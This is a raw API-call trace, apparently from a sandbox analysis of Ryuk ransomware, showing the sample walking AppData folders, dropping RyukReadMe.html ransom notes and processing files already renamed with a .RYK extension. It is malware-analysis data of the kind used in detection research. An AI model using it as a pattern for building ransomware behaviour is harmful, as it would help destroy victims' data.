	[0278.997] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cd29900, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd29900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.997] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.998] SetLastError (dwErrCode=0x0) 
	[0278.998] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.998] GetLastError () returned 0xb7
	[0278.998] CloseHandle (hObject=0x8cc) returned 1
	[0278.998] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd29900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
	[0278.998] SetLastError (dwErrCode=0x0) 
	[0278.998] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.998] GetLastError () returned 0xb7
	[0278.998] CloseHandle (hObject=0x8cc) returned 1
	[0278.999] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd29900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.999] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd29900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.999] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cd29900, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd29900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.999] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cd29900, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd29900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.999] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.999] SetLastError (dwErrCode=0x0) 
	[0278.999] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ime12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0279.000] GetLastError () returned 0xb7
	[0279.000] CloseHandle (hObject=0x8cc) returned 1
	[0279.000] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd29900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
	[0279.000] SetLastError (dwErrCode=0x0) 
	[0279.000] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0279.000] GetLastError () returned 0xb7
	[0279.000] CloseHandle (hObject=0x8cc) returned 1
	[0279.001] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd29900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0279.001] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd29900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0279.001] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cd29900, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0279.001] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cd29900, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7cd29900, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0279.001] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0279.001] SetLastError (dwErrCode=0x0) 
	[0279.001] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0279.002] GetLastError () returned 0xb7
	[0279.002] CloseHandle (hObject=0x8cc) returned 1
	[0279.002] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd4fa60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
	[0279.002] SetLastError (dwErrCode=0x0) 
	[0279.002] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0279.002] GetLastError () returned 0xb7
	[0279.002] CloseHandle (hObject=0x8cc) returned 1
	[0279.002] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd4fa60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0279.003] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd4fa60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0279.003] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cd4fa60, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7cd4fa60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0279.003] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cd4fa60, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7cd4fa60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0279.003] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0279.003] SetLastError (dwErrCode=0x0) 
	[0279.003] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp8_1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0279.003] GetLastError () returned 0xb7
	[0279.003] CloseHandle (hObject=0x8cc) returned 1
	[0279.003] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd4fa60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
	[0279.004] SetLastError (dwErrCode=0x0) 
	[0279.004] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0279.004] GetLastError () returned 0xb7
	[0279.004] CloseHandle (hObject=0x8cc) returned 1
	[0279.004] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd4fa60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0279.004] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cd4fa60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0279.004] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cd4fa60, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7cd4fa60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0279.004] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cd4fa60, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7cd4fa60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd4fa60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0279.004] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0279.005] SetLastError (dwErrCode=0x0) 
	[0279.005] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp9_0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0279.005] GetLastError () returned 0xb7
	[0279.005] CloseHandle (hObject=0x8cc) returned 1
	[0279.005] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e69a420, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7e69a420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0279.005] SetLastError (dwErrCode=0x0) 
	[0279.005] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0279.005] GetLastError () returned 0xb7
	[0279.005] CloseHandle (hObject=0x8cc) returned 1
	[0279.006] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e69a420, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7e69a420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0279.006] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e69a420, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7e69a420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0279.006] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e0cce80, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="brndlog.bak.RYK", cAlternateFileName="BRNDLO~2.RYK")) returned 1
	[0279.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0279.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc
	[0281.789] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0281.927] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e32e480, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x30d2, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="brndlog.txt.RYK", cAlternateFileName="BRNDLO~1.RYK")) returned 1
	[0281.927] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0281.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820
	[0281.932] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0281.933] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1
	[0281.933] SetLastError (dwErrCode=0x0) 
	[0281.933] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0281.934] GetLastError () returned 0xb7
	[0281.934] CloseHandle (hObject=0x854) returned 1
	[0281.934] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
